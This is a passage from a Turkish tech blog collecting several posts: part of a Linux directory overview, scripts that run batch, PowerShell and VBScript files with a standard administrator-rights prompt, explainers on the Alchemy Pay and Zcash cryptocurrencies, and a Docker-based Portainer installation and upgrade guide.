tarafından kullanılabilirler. /srv: Bu dizin, sunucu ile ilgili verileri içerir. Örneğin, web sunucusu için sunucu belgeleri veya veritabanları bu dizinde tutulabilir. /sys: Bu dizin, Linux kerneliyle ilgili bilgileri içerir. Donanım aygıtlarının, sürücülerin ve kernel parametrelerinin sanal bir temsilini sağlar. /tmp: Bu dizin, geçici dosyaları içerir. Programlar tarafından kullanılan geçici veriler ve işlemler bu dizinde depolanabilir. /lost+found: Kurtarılan dosyalardır. Hasar almış veya kesinti nedeniyle çalışması yarıda kalmış dosyaların bitlerinin tutulduğu dizindir. /usr: Bu dizin, ikincil programlar, kütüphaneler ve belgeleri içeren ayrı bir hiyerarşiye sahiptir. Örneğin, kullanıcıların yüklediği uygulamalar ve sistemle birlikte gelen ikincil programlar bu dizinde bulunabilir. /var: Bu dizin, değişken verileri içerir. Örneğin, günlük dosyaları, veritabanları, e-posta ve diğer değişken veriler bu dizinde bulunabilir. Bu, Linux Ubuntu Server'ın genel dosya sistemi hiyerarşisi ve dizinleridir. Her dizin, farklı bir amaç için kullanılır ve belirli türde dosyaları veya verileri içerir. Saygılarımla. --- ## Let's Run Your Files with Admin Permissions Link: https://farukguler.com/posts/lets-run-your-files-with-admin-permissions/ Öncelike UAC' ın kapatılması gerekmektedir. Bu yazımda https://farukguler.com/assets/post_images/uac-nedir-gpo UAC nedir? nasıl kapatılır vb. diğer bilgiler verilmiştir. Ancak UAC' ın kapatılması güvenlik sebebiyle önerilmez. Powershell çağırarak script.bat veya script.cmd dosyasını admin yetkilerinde çalıştıralım. (v1) @echo off net session >NUL 2>&1|| powershell Start-Process '%0' -Verb RunAs&& exit /b|| exit /b ipconfig/all whoami hostname pause script.bat veya script.cmd dosyasını admin yetkilerinde çalıştıralım (v2) @echo off :: BatchGotAdmin :------------------------------------- REM --> İzin kontrolü yapılıyor >nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" REM --> Eget hata alınırsa yönetici değiliz demektir. if '%errorlevel%' NEQ '0' ( echo Administrator izni isteniyor... goto UACPrompt ) else ( goto gotAdmin ) :UACPrompt echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs" set params = %*:"="" echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" exit /B :gotAdmin pushd "%CD%" CD /D "%~dp0" :komutları buraya yaziniz.. ipconfig whoami hostname pause Powershell script.ps1 dosyasını admin yetkilerinde çalıştıralım. $isAdmin=[bool](([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544") if (-not $isAdmin) { $arguments = "& '" + $MyInvocation.MyCommand.Path + "'" Start-Process powershell -Verb runAs -ArgumentList $arguments exit } #S-1-5-32-544 (Alias: BUILTIN\Administrators) #Buraya PowerShell içeriğinizi ekleyin. ipconfig whoami hostname pause Microsoft VBScript (Visual Basic Script) script.vbs dosyasını admin yetkilerinde çalıştıralım. (Bu VBScript kodu örneği, Shell nesnesini kullanarak, yüksek yetkilere sahip bir Komut İstemi(CMD) penceresinde "ipconfig" komutunu çalıştırır.) Set objShell = CreateObject("Shell.Application") objShell.ShellExecute "cmd.exe", "/k ipconfig", "", "runas", 1 Best Regards. – Saygılarımla. --- ## Alchemy Pay (ACH) Nedir? Kripto ve Fiat Arasındaki Ödeme Köprüsü Link: https://farukguler.com/posts/alchemy-pay-ach-nedir/ Alchemy Pay (ACH), küresel bir kripto-fiat (itibari para) hibrit ödeme çözüm sağlayıcısıdır. Temel amacı, işletmelerin (e-ticaret siteleri, dApp’ler, borsalar) ve bireylerin hem kripto paraları hem de geleneksel itibari paraları (USD, EUR, TRY vb.) kullanarak kolayca ödeme yapmasını ve almasını sağlayan bir altyapı sunmaktır. Basitçe söylemek gerekirse, Alchemy Pay, “kripto dünyasının Stripe’ı” olmayı hedeflemektedir. Kripto paraların ana akım olarak benimsenmesinin önündeki en büyük engeli, yani kullanılabilirlik ve erişilebilirlik sorununu çözmek için tasarlanmıştır. Proje, geleneksel ödeme devleri (Visa, Mastercard, PayPal) ile gelişen blockchain ekosistemi arasında kritik bir köprü görevi görür. Alchemy Pay’in Çözdüğü Problem Nedir? Mevcut finansal sistemde, kripto ve fiat dünyaları birbirinden keskin bir şekilde ayrılmıştır: Kullanıcılar İçin (On-Ramp Sorunu): Bir dApp (merkeziyetsiz uygulama) kullanmak veya bir NFT almak isteyen yeni bir kullanıcı, önce merkezi bir borsaya gitmek, KYC (Kimlik Doğrulama) yapmak, bankasından para transfer etmek, kripto satın almak ve ardından bunu kendi cüzdanına çekmek zorundadır. Bu süreç karmaşık ve caydırıcıdır. İşletmeler İçin (Off-Ramp Sorunu): Kripto ile ödeme kabul etmek isteyen bir e-ticaret sitesi, volatilite (fiyat oynaklığı) riskiyle ve bu kriptoyu nasıl nakde (örn. USD) çevireceği sorunuyla karşı karşıyadır. Alchemy Pay, bu iki yöndeki sürtünmeyi ortadan kaldıran “geçitler” (gateways) inşa eder. Alchemy Pay Ekosisteminin Temel Ürünleri Alchemy Pay’in başarısı, üç ana ürün üzerine kuruludur: 1. On-Ramp (Fiat’tan Kriptoya) Bu, Alchemy Pay’in en popüler hizmetidir. Platformların ve dApp’lerin, kendi uygulamalarına bir “widget” (arayüz) ekleyerek kullanıcıların doğrudan kripto satın almasını sağlamasına olanak tanır. Nasıl Çalışır: Kullanıcı, bir dApp’in içindeyken “Kredi Kartı ile ETH Al” butonuna tıklar. Alchemy Pay arayüzü açılır. Kullanıcı, Visa/Mastercard, Apple Pay, Google Pay veya yerel banka havalesi (örn. Avrupa’da SEPA, Asya’da GrabPay) gibi 300’den fazla küresel ödeme yöntemini kullanarak ödeme yapar ve kripto para doğrudan kullanıcının cüzdanına gönderilir. 2. Off-Ramp (Kriptodan Fiat’a) Bu, On-Ramp’in tam tersidir. Kullanıcıların, kripto varlıklarını satarak 50’den fazla ülkede doğrudan banka hesaplarına itibari para (nakit) çekmelerini sağlar. Nasıl Çalışır: Bir oyun platformunda (GameFi) 100 dolarlık ödül kazandınız. Alchemy Pay’in Off-Ramp’i sayesinde bu 100 dolarlık kriptoyu doğrudan banka hesabınıza TRY veya EUR olarak çekebilirsiniz. 3. Crypto Card (Kripto Kartı Çözümleri) Alchemy Pay, projelere ve platformlara, kullanıcılarının kripto bakiyelerini kullanarak dünya çapında harcama yapabilecekleri kendi markalı Visa veya Mastercard kartlarını (hem sanal hem de fiziksel) çıkarma hizmeti sunar. ACH Token: Arz, Ekonomi ve Değer Mekanizması ACH, Alchemy Pay ekosisteminin yerel (native) ERC-20 (Ethereum) ve BEP-20 (BNB Chain) token’ıdır. Ağın işleyişi ve ekonomisi için kritik bir role sahiptir. Token Arzı ve Dağılımı Maksimum Arz: 10.000.000.000 ACH (10 Milyar) ile sert bir şekilde sınırlandırılmıştır. Mevcut Arz: Toplam arzın büyük bir kısmı (~7.6 Milyar ACH) dolaşımdadır. Kalan kısım ekosistem gelişimi, teşvikler ve ortaklıklar için vakfın hazinesinde tutulmaktadır. ACH Token’ın İşlevleri Teminat (Pledge / Staking) (En Önemli İşlev): Alchemy Pay’in hizmetlerini (örn. On-Ramp) kendi platformuna entegre etmek isteyen iş ortaklarının (borsalar, e-ticaret siteleri, dApp’ler) ağa güven sağlamak ve hizmet seviyelerini garanti altına almak için belirli bir miktar ACH token’ı kilitlemesi (stake etmesi) gerekir. Bu, ağın ana ekonomik modelidir. Ne kadar çok iş ortağı (Shopify, Arbitrum vb.) ağı kullanırsa, o kadar çok ACH token’ı dolaşımdan çekilir ve kilitlenir. Bu durum, arz üzerinde bir “emilim” (supply sink) yaratır. İşlem Ücretleri (İndirim Mekanizması): Ağdaki işlem ücretleri (komisyonlar) genellikle fiat para cinsinden (örn. kredi kartı işlem ücreti) alınır. Ancak, ACH token’ına sahip olmak veya ACH ile ödeme yapmak, bu ücretlerde indirim sağlar. Bu, token’a dolaylı bir talep yaratır. Ödüller ve Teşvikler: Ekosisteme katılan kullanıcılar (hem bireyler hem de işletmeler), ağı kullandıkça veya likidite sağladıkça ACH token ile ödüllendirilebilir. Yönetişim (Gelecek Planı): Projenin yol haritasında, ACH sahiplerinin platformun gelecekteki yönetişim kararlarında (örn. ücret yapısı, yeni ortaklıklar) söz sahibi olması planlanmaktadır. Gelecek Beklentisi: Devasa Pazar, Kıyasıya Rekabet Alchemy Pay’in gelecekteki başarısı, girdiği pazarın büyüklüğü ve bu pazardaki rakiplerine karşı konumuyla doğrudan ilişkilidir. Projenin Güçlü Yanları (Potansiyel): Devasa Pazar Fırsatı: “On-ramp” ve “off-ramp”, tüm Web3 endüstrisinin (DeFi, GameFi, NFT’ler) büyümesi için “oksijen” gibidir. Pazar potansiyeli trilyon dolarlarla ölçülmektedir. B2B (İşletmeden İşletmeye) Odaklanma: ACH, son kullanıcıya (B2C) değil, platformlara (B2B) odaklanır. Shopify, Arbitrum, Polygon gibi devasa platformlarla yapılan entegrasyonlar, tek seferde milyonlarca potansiyel kullanıcıya ulaşmalarını sağlar. Küresel Uyumluluk ve Erişim: 300’den fazla yerel ödeme kanalını (kredi kartları, banka transferleri, e-cüzdanlar) ve 170’ten fazla ülkeyi desteklemesi, ona küresel bir operasyon yeteneği kazandırır. Projenin Önündeki Engeller (Zorluklar): Şiddetli Rekabet (En Büyük Zorluk): Bu pazar “çok kalabalıktır”. Alchemy Pay, MoonPay, Ramp Network, Transak, Mercuryo ve Banxa gibi milyarlarca dolar değerlemeye sahip, VC (Risk Sermayesi) destekli ve son derece agresif özel şirketlerle (çoğunun token’ı yoktur) doğrudan rekabet halindedir. Bu, kâr marjlarının düşük olduğu, kanlı bir rekabet alanıdır. Web2.5 Gerçekliği (Merkeziyetçilik): Bu bir “Web2.5” projesidir. Alchemy Pay, temelde merkeziyetsiz bir protokolden ziyade, geleneksel bir FinTech (Finansal Teknoloji) şirketidir. Kredi kartı işlemek, KYC yapmak ve banka transferleri gerçekleştirmek, doğası gereği merkezi ve katı regülasyonlara tabi işlemlerdir. Başarısı, merkeziyetsizlikten çok, bu uyumluluk süreçlerini ne kadar iyi yönettiğine bağlıdır. Zayıf Değer Yakalama Mekanizması: Token’ın değeri, büyük ölçüde “teminat (pledge)” mekanizmasına bağlıdır. Şirketin kârı (işlem ücretlerinden elde ettiği gelir) ile ACH token’ı arasında Injective (INJ) gibi doğrudan bir yakım (burn) veya gelir paylaşımı (revenue share) mekanizması yoktur. Bu durum, token’ın değerinin, şirketin kârlılığından ziyade ağının büyümesine (daha fazla ortağın kilitlenmesine) endeksli olduğu anlamına gelir. Sonuç Alchemy Pay, bir Layer 1 blockchain’i veya bir DeFi protokolü değildir. O, kendisini kripto paraların ana akım olarak benimsenmesinin önündeki en büyük engellerden birini, yani kullanılabilirlik ve fiat dünyasıyla entegrasyon sorununu çözmeye adamış bir altyapı sağlayıcısıdır. Kripto ile bir e-ticaret sitesinden alışveriş yapmayı veya bir oyundan kazandığınız kriptoyu doğrudan banka hesabınıza çekmeyi kolaylaştırarak, bu iki finansal dünya arasındaki boşluğu doldurmaktadır. ACH token’ına yatırım yapmak ise, bu “ağ teminatı (pledge)” modelinin, son derece rekabetçi bir pazarda büyümeye devam ederek token arzı üzerinde yeterli bir emilim yaratacağına dair yapılmış bir bahistir. --- ## Zcash (ZEC) Nedir? zk-SNARKs ile Opsiyonel Gizlilik Link: https://farukguler.com/posts/zcash-zec-nedir/ Zcash (ZEC), 2016 yılında Bitcoin kod tabanından (fork) türetilmiş, merkeziyetsiz ve açık kaynaklı bir gizlilik odaklı kripto para birimidir. Projenin temel misyonu, Bitcoin’in (ve diğer tüm halka açık blockchain’lerin) doğasında bulunan şeffaflık sorununu çözmektir. Zcash’in devrimi, “zk-SNARKs” (Zero-Knowledge Succinct Non-Interactive Argument of Knowledge) adı verilen, askeri düzeyde bir kriptografi teknolojisini kullanan ilk blockchain olmasıdır. Bu teknoloji, bir işlemin (örn. para transferi) geçerli olduğunu, işlemin kendisi hakkında (gönderen, alıcı, miktar) hiçbir bilgiyi ifşa etmeden kanıtlamaya olanak tanır. Basitçe söylemek gerekirse, Zcash, kullanıcılara finansal gizlilik konusunda tam bir seçim özgürlüğü sunar: İsterlerse Bitcoin gibi şeffaf, isterlerse tamamen gizli işlemler yapabilirler. “Şeffaflık Problemi” ve Zcash’in Çözümü Bitcoin, Ethereum ve benzeri blockchain’ler “anonim” değil, “takma adlıdır” (pseudonymous). Bir cüzdan adresinin kime ait olduğunu bilemeyebilirsiniz, ancak o adrese giren, çıkan ve o adreste tutulan tüm bakiye ve işlem geçmişi sonsuza dek kamuya açıktır. Problem: Bir işletme, maaşları veya tedarikçi ödemelerini halka açık bir defterde yapmak istemez. Bir birey, bir kahve alarak tüm cüzdan bakiyesini kasiyere ifşa etmek istemez. Zcash, bu sorunu “opsiyonel gizlilik” adı verilen çift adresli bir sistemle çözer: 1. t-Adresleri (Transparent - Şeffaf) Bunlar, Bitcoin adresleri gibi çalışır. t... ile başlarlar. Bu adresler arasında yapılan tüm işlemler (T-to-T) halka açık defterde tam şeffaflıkla görülebilir. 2. z-Adresleri (Shielded - Korumalı) Bunlar, Zcash’in asıl inovasyonudur. z... ile başlarlar ve zk-SNARKs kriptografisini kullanırlar. Bir z-Adresi’nden başka bir z-Adresi’ne (Z-to-Z) yapılan işlemde, blockchain’e sadece “belirsiz bir zamanda geçerli bir işlem gerçekleşti” bilgisi kaydedilir. Gönderen, alıcı ve miktar tamamen şifrelenir. Bu iki sistem arasında dört tür işlem yapılabilir: T-to-T: Tamamen şeffaf (Bitcoin gibi). T-to-Z: “Koruma” (Shielding). Bir t-adresinden z-adresine para göndererek fonları gizli hale getirme. Z-to-Z: Tamamen gizli (Gerçek Zcash deneyimi). Z-to-T: “Korumayı Kaldırma” (Deshielding). Gizli fondan şeffaf bir adrese para gönderme (örn. bir borsaya yatırmak için). Çekirdek Teknoloji: zk-SNARKs ve “Trusted Setup” Evrimi zk-SNARKs Zcash’in tüm gizliliği, bu “Sıfır Bilgi Kanıtı” teknolojisine dayanır. Bu, ağın, bakiyenizin yeterli olduğunu veya çifte harcama yapmadığınızı, bu bilgilerin detayını görmeden matematiksel olarak doğrulamasını sağlar. “Trusted Setup” (Güvenilir Kurulum) ve Çözümü Zcash’in ilk versiyonları, zk-SNARKs’ın çalışması için gerekli olan ilk kriptografik parametreleri oluşturmak üzere “Trusted Setup” (Güvenilir Kurulum) adı verilen bir sürece ihtiyaç duyuyordu. Risk: Bu kurulum sırasında oluşturulan ve “toksik atık” (toxic waste) olarak adlandırılan gizli verinin, kurulumdan hemen sonra yok edilmesi gerekiyordu. Eğer bu veri yok edilmemiş ve birileri tarafından saklanmış olsaydı, o kişiler sahte (counterfeit) ZEC basabilirdi ve hiç kimse bunu fark edemezdi. Çözüm (Halo Yükseltmesi): Zcash ekibi (Electric Coin Co. - ECC), bu temel “güven” sorununu çözmek için yıllarca çalıştı. 2022’deki “NU5” güncellemesiyle “Halo” adı verilen yeni bir kriptografik buluşu devreye soktular. Halo, zk-SNARKs’ın “güvenilir bir kuruluma ihtiyaç duymadan” çalışmasını sağladı. Bu, Zcash’in en büyük varoluşsal riskini ortadan kaldıran devrim niteliğinde bir adımdı. ZEC Token: Arz, Ekonomi ve “Geliştirici Fonu” ZEC’in tokenomisi, Bitcoin’i taklit eder ancak çok önemli ve tartışmalı bir farkı vardır. Token Arzı ve Modeli Maksimum Arz: 21.000.000 ZEC (Tıpkı Bitcoin gibi, sert bir şekilde sınırlandırılmıştır). Konsensüs: Proof-of-Work (PoW). Madenciler, Equihash algoritmasını kullanarak ağı güvence altına alır. Emisyon Modeli: Tıpkı Bitcoin gibi, yaklaşık her 4 yılda bir “halving” (yarılanma) yaşayarak blok ödülleri yarıya düşer. Kritik Gerçek: Blok Ödülü Dağılımı (“Dev Fund”) Bitcoin’de blok ödülünün %100’ü madencilere gider. Zcash’te ise, projenin gelişimini sürdürülebilir bir şekilde finanse etmek için blok ödülü bölünmüştür. 2020 halving’inden sonra (ZIP 1014) devreye giren mevcut model şöyledir: %80 → Madenciler: Ağı güvence altına aldıkları için ödüllendirilirler. %20 → Geliştirme Fonu (Dev Fund): Bu pay, projenin çekirdek geliştiricilerini ve ekosistemi fonlamak için ayrılır. Bu %20’lik pay da kendi içinde şöyle bölünür: %8 Electric Coin Co. (ECC): Projenin arkasındaki ana geliştirme şirketi. %7 Zcash Community Grants: Topluluk tarafından oylanan bağımsız projelere, geliştiricilere ve girişimlere hibe sağlar. %5 Zcash Foundation: ECC’den bağımsız, ağın yönetişimini, altyapısını ve benimsenmesini destekleyen kâr amacı gütmeyen vakıf. Ekonomik Etki: Bu model, Zcash’in (Bitcoin’in aksine) sürekli olarak birinci sınıf kriptograflar ve mühendisler tarafından fonlanmasını sağlar. Ancak bazı eleştirmenler, bunu “kurucu vergisi” olarak adlandırarak projenin merkeziyetsizliğine gölge düşürdüğünü savunur. Gelecek Beklentisi: Fırsatlar ve Engeller Zcash’in geleceği, onun üstün teknolojisi ile pazarın ve düzenleyicilerin sert gerçekleri arasındaki mücadeleye bağlıdır. Projenin Güçlü Yanları (Potansiyel): Sınıfının En İyisi Kriptografi: zk-SNARKs ve “Halo” yükseltmesi, Zcash’i kriptografik olarak piyasadaki en gelişmiş projelerden biri yapar. ZK-rollup’ların (L2) popülerleşmesi, bu teknolojinin ne kadar değerli olduğunu kanıtlamıştır. Sürdürülebilir Finansman: %20 Geliştirme Fonu, projenin on yıllar boyunca (rakiplerinin aksine) geliştirilmeye devam etmesini ve pazar koşullarından (ayı piyasaları) daha az etkilenmesini sağlar. Proof-of-Stake Geçişi (Planlanan): ECC, Zcash’i PoW’dan Proof-of-Stake’e (PoS) geçirmek için bir teklif (ZIP 1024) sundu. Eğer bu gerçekleşirse, ağ enerji verimli hale gelecek, ZEC sahipleri staking geliri elde edebilecek ve gizli işlemler (shielded transactions) daha kolay ve ölçeklenebilir hale gelebilecektir. Projenin Önündeki Engeller (Zorluklar): Regülasyon Baskısı (En Büyük Engel): Zcash, “gizlilik coini” olarak damgalanmıştır. Bu durum, regülatörlerin (Mali Eylem Görev Gücü - FATF) baskısıyla, Binance (Avrupa), OKX, Bittrex ve diğer birçok büyük borsadan kaldırılmasına (delist edilmesine) yol açmıştır. Bu, projenin likiditesini, erişilebilirliğini ve benimsenmesini öldüren birincil sorundur. “Opsiyonel Gizlilik” Paradoksu: Gizlilik isteğe bağlı olduğunda, çoğu insan (kolaylık veya borsa uyumluluğu için) T-adresleri kullanır. Bu, “gizlilik setini” (içinde saklanabileceğiniz kalabalığı) küçültür. Monero’nun “varsayılan olarak gizli” (mandatory privacy) olması, bu açıdan daha güçlü bir gizlilik modeli olarak görülür. PoS Geçişi Belirsizliği: PoS’a geçiş teklifi, projenin geleceği için kritik olsa da, aynı zamanda topluluğu bölen ve madencileri karşısına alan büyük bir teknik ve politik zorluktur. Bu geçişin nasıl ve ne zaman olacağı belirsizdir. Sonuç Zcash (ZEC), kriptografik olarak en gelişmiş ve en önemli gizlilik projelerinden biridir. “Güvenilir kurulum” sorununu Halo ile çözerek teknolojisini mükemmelleştirmiştir ve sürdürülebilir bir finansman modeline sahiptir. Ancak projenin “gerçekliği”, teknolojisinin değil, algısının kurbanı olmasıdır. “Gizlilik coini” etiketi, ona en çok ihtiyaç duyulan (borsalar ve ana akım benimseme) yerlerden dışlanmasına neden olmaktadır. Zcash’in gelecekteki başarısı, bu düzenleyici fırtınayı atlatmasına, “opsiyonel gizliliğin” benimsenmesini artırmasına ve (muhtemelen) PoS’a başarılı bir geçiş yapmasına bağlıdır. --- ## Portainer Nedir Nasıl Kurulur ? Link: https://farukguler.com/posts/portainer-nedir/ Portainer, Docker ve Kubernetes gibi konteyner tabanlı uygulama yönetim sistemlerini kullanmayı kolaylaştıran "açık kaynak ve kullanması ücretsiz(CE)" bir araçtır. Portainer, kullanıcıların Docker veya Kubernetes ortamlarını yönetmelerine yardımcı olmak için bir web tabanlı arayüz sunar. Bu arayüz sayesinde, kullanıcılar konteynerlerin oluşturulması, başlatılması, durdurulması, yeniden başlatılması, silinmesi gibi işlemleri kolayca gerçekleştirebilirler. Ayrıca, mevcut konteynerlerin durumunu, kaynak kullanımını ve ağ yapılandırmalarını görmek için izleme ve görselleştirme özelliklerine de sahiptir. Portainer, birden fazla Docker veya Kubernetes ortamını yönetme yeteneğine sahiptir. Portainer Kullanım Alanları nelerdir? Konteyner Yönetimi: Portainer, Docker konteynerlerinizi oluşturmanıza, başlatmanıza, durdurmanıza ve yönetmenize olanak tanır. Konteynerlerinizi tek bir arayüzden kolayca görüntüleyebilir ve yönetebilirsiniz. Görsel Konteyner Yönetimi: Portainer, Docker API'sını kullanarak konteynerlerinizi görsel bir arayüz üzerinden yönetmenize olanak sağlar. Bu, Docker komut satırı aracılığıyla uğraşmak yerine kullanıcı dostu bir deneyim sunar. Kullanıcı ve Erişim Kontrolü: Portainer, kullanıcı yönetimi ve erişim kontrolü için yetenekler sunar. Kullanıcılar ve roller oluşturabilir, kullanıcıların belirli konteynerlere erişimini sınırlayabilir veya özel izinler atayabilirsiniz. Loglar ve İzleme: Portainer, konteynerlerinizin durumunu ve kaynak kullanımını izlemenizi sağlar. Ayrıca konteynerlerin günlüklerini görüntüleyebilir ve izleyebilirsiniz. Konteyner İzleme ve Ölçeklendirme: Portainer, konteynerlerinizi izlemenize ve gerektiğinde ölçeklendirmenize olanak tanır. Kaynak kullanımını izleyebilir, performans sorunlarını tespit edebilir ve gerektiğinde yeni konteynerler oluşturabilirsiniz. Veri Yönetimi: Portainer, Docker veri depolarını yönetmenize yardımcı olur. Bir veri deposu oluşturabilir, veri tabanları ve dosya depolama sistemlerini yönetebilir ve veri depolarını konteynerlere bağlayabilirsiniz. Uygulama Yönetimi: Portainer, Docker Swarm ve Kubernetes gibi konteyner orkestrasyon araçlarıyla entegrasyon sağlar. Bu sayede birden fazla konteyneri gruplandırabilir, uygulamaları yönetebilir ve yük dengelemesi yapabilirsiniz. Bu makalede [3] adımda Docker Kurulumu, Portainer kurulumu ve Upgrade işlemlerini yapacağız: 1: Docker'ı Kurma & Kaldırma Portainer'ı çalıştırmak için Docker'ın sisteminizde yüklü olması gerekmektedir. Docker kurulumunu daha önce yapmıştık: https://farukguler.com/posts/docker-install-on-linux/ https://farukguler.com/posts/how-to-uninstall-docker-on-linux/ 2: Portainer'ı Kurma "Portainer'ı harici olarak kurabilirsiniz ama burada docker imajı üzerinden kuracağız" Portainer, Docker image olarak kullanılabilir ve Docker ortamında çalışabilir. Bu sayede Portainer'ı istediğiniz Docker motoruna erişmesini sağlayabilirsiniz. Portainer minimum sistem gereksinimleri: İşletim Sistemi: Portainer, Windows, macOS veya Linux gibi yaygın işletim sistemlerinde çalışabilir. Portainer, Docker üzerinde çalıştığından, Docker'ın işletim sisteminize uyumlu olarak yüklü ve çalışır durumda olması gerekmektedir. CPU: Portainer'ın minimum CPU gereksinimi, Docker'ın çalışması için gereken minimum CPU gereksinimlerine bağlıdır. Genellikle düşük güçlü bir işlemci bile yeterli olabilir. Bellek (RAM): Portainer'ın minimum RAM gereksinimi, Docker'ın çalışması için gereken minimum RAM gereksinimlerine bağlıdır. Genellikle en az 2 GB RAM önerilir. Disk Alanı: Portainer'ın minimum disk alanı gereksinimi, Docker'ın çalışması ve konteynerlar için depolama alanı sağlamak için gereken minimum disk alanı gereksinimlerine bağlıdır. Genellikle en az 5 GB boş disk alanı önerilir. Portainer Konteynerinin Oluşturulması: Portainer'ı bir Docker konteyneri olarak çalıştıracağız. Konteyneri oluşturmak için aşağıdaki komutu çalıştırın, Ayrıca oluşturduğumuz bu Volume, konteyner silinse dahi verileri kalıcı olarak tutabilmeyi sağlar. ##Portainer Kurulum:#ilk olarak sistemimizi güncelleyin:sudo apt-get updatesudo apt-get upgrade#Eğer Portainer imajı yerel Docker ortamınızda bulunmuyorsa, o zaman önce docker pull komutuyla imajı indirmeniz gerekir:docker pull portainer/portainer-ce:latest#docker pull portainer/portainer-ce:x.xx#docker volume oluşturmak için:docker volume create portainer_data#Docker volumlerini görüntülemek için:docker volume ls#Docker volumleri hakkında daha ayrıntılı bilgi almak için:docker volume inspect portainer_data #Portainer CE'ı indirmek,kurmak,çalıştırmak için kullanılan Toplu Docker komutu:docker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest ***Bu docker komutunun işlevleri ve parametreleri şu şekildedir: Bu komut, Portainer'ı Docker konteynerı olarak çalıştırmak için kullanılan komuttur. İşlevleri ve parametreleri şu şekildedir: docker run: Docker konteynerını başlatmak için kullanılan komut. -d: Konteynerı arka planda (detached modda) çalıştırır. -p 8000:8000: Konteynerın 8000 numaralı yerel portunu 8000 numaralı konteyner portuna eşler. Bu, Portainer web arayüzüne yerel makineden erişim sağlamak için kullanılır. -p 9000:9000: Konteynerın 9000 numaralı yerel portunu 9000 numaralı konteyner portuna eşler. Bu, Portainer'ın agentleri iletişim kurabilmesi için kullanılır. --name=portainer: Konteynera "portainer" adını verir. --restart=always: Konteynerın her zaman otomatik olarak yeniden başlatılmasını sağlar. -v /var/run/docker.sock:/var/run/docker.sock: Docker API'sine erişim sağlamak için Docker soket dosyasını konteynere bağlar. -v portainer_data:/data: Portainer'ın konteyner içindeki verilerini tutması için bir Docker birimi oluşturur ve /data yoluna bağlar. portainer/portainer-ce:latest: Portainer'ın resmi Docker görüntüsünü belirtir. portainer-ce etiketiyle en son sürümünü kullanır. ***Bu komut, Portainer konteynerını çalıştırır ve Docker API'sine erişerek Docker konteynerlarını yönetmenizi sağlar. ***3: Portainer Upgrade: ##Portainer Upgrade:#Linklerhttps://docs.portainer.io/admin/settings#backup-portainerhttps://docs.portainer.io/start/upgradehttps://docs.portainer.io/start/upgrade/dockerhttps://docs.portainer.io/start/upgrade/swarmhttps://docs.portainer.io/start/upgrade/kuberneteshttps://docs.portainer.io/start/upgrade/edge#Portainer yedekleyin:https://docs.portainer.io/admin/settings#backup-portainer----#Yedekten geri yükleyin (gerekirse)----#Portaineri durdurundocker stop portainer#docker rm portainer#Local olarak görüntünün en son sürümünü indirindocker pull portainer/portainer-ce:latest#Son olarak Portainer'ın güncellenmiş sürümünü yükleyindocker run -d -p 8000:8000 -p 9000:9000 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest***Portainer'ın en yeni sürümü artık önceki sürümdeki kalıcı verileri kullanarak yüklenecek ve ayrıca Portainer veritabanını yeni sürüme yükseltecektir.***SSL sertifikalarınızı; sertifikayı ve anahtar dosyalarını sağlamak üzere aşağıdaki komut kullanabilirdocker run -d -p 8000:8000 -p 9443:9443 --name=portainer --restart=always -v /var/run/docker.sock:/var/run/docker.sock -v portainer_data:/data portainer/portainer-ce:latest --sslcert /path/to/cert/portainer.crt --sslkey /path/to/cert/portainer.key#Adreslere gidin#http://your-server-address:9000#https://your-server-address:9443 Portainer'a Erişim: Portainer konteynerı başlatıldıktan sonra, web tarayıcınızda : "http://localhost:9000" HTTP adresine gidin. Eğer Docker'ı başka bir makinede çalıştırıyorsanız, IP adresini veya alan adını(FQDN) kullanarak ulaşabilirsiniz. Ayrıca, Portainer'ın agentleriyle iletişim kurabilmesi için default olarak HTTP:9000 numaralı portu kullanır. Portainer'ı başarıyla kurduktan sonra, Artık Portainer üzerinden Docker konteynerlerinizi yönetebilir, izleyebilir ve dağıtabilirsiniz. Arayüzde sunulan özellikler arasında konteynerlerin oluşturulması, durdurulması, silinmesi, görüntülerin yönetimi, ağ yapılandırmaları ve günlüklerin görüntülenmesi gibi birçok özellik bulunmaktadır. Portainer Yönetici Hesabının Oluşturulması: İlk ziyaretinizde Portainer, bir yönetici hesabı oluşturmanızı isteyecektir. Yönergeleri izleyerek bir "kullanıcı adı ve şifre" oluşturun ve ardından oturum açın. ****Bu parola en az 12 karakter olmalıdır. Docker Ortamının Yapılandırılması: Portainer'a giriş yaptıktan sonra, Docker ortamınızın yapılandırılması için bazı adımları izlemeniz gerekebilir. Bu adımlar genellikle Docker bağlantısı, API anahtarları vb. ile ilgilidir. Portainer, Docker sunucusuna bağlanmanızı sağlayacak talimatları size sunacaktır. Portainer Web Arayüzü: Dashboard: Portainer'ın ana sayfasıdır ve sistemde çalışan Docker konteynerlarının bir özetini gösterir. Konteynerlerin durumu, ağlar, görüntüler, birimler ve diğer önemli bilgiler burada görüntülenir. Containers: Bu bölümde mevcut Docker konteynerlarını görüntüleyebilir, yeni konteynerlar oluşturabilir, çalıştırabilir, durdurabilir ve silme işlemleri yapabilirsiniz. Konteynerlerin durumu, kullanılan kaynaklar ve ağ bilgileri gibi ayrıntıları da görebilirsiniz. Images: Docker görüntülerini yönetmek için kullanılır. Bu bölümde mevcut görüntüleri görüntüleyebilir, yeni görüntüler indirebilir veya mevcut görüntülerden yeni konteynerlar oluşturabilirsiniz. Ayrıca görüntülerin etiketleri, boyutları ve diğer özellikleri de görüntülenebilir. Networks: Docker ağ yapılandırmalarını yönetmek için kullanılır. Bu bölümde mevcut ağları görüntüleyebilir, yeni ağlar oluşturabilir ve konteynerleri bu ağlara bağlayabilirsiniz. Ağ ayarlarını düzenleyebilir, IP adreslerini görüntüleyebilir ve ağlara ilişkin diğer yapılandırmaları yapabilirsiniz. Volumes: Docker birimlerini yönetmek için kullanılır. Bu bölümde mevcut birimleri görüntüleyebilir, yeni birimler oluşturabilir ve birimler arasında veri paylaşabilirsiniz. Ayrıca birimlerin bağlantılarını düzenleyebilir, veri hacmini görüntüleyebilir ve birimlere ilişkin diğer yapılandırmaları 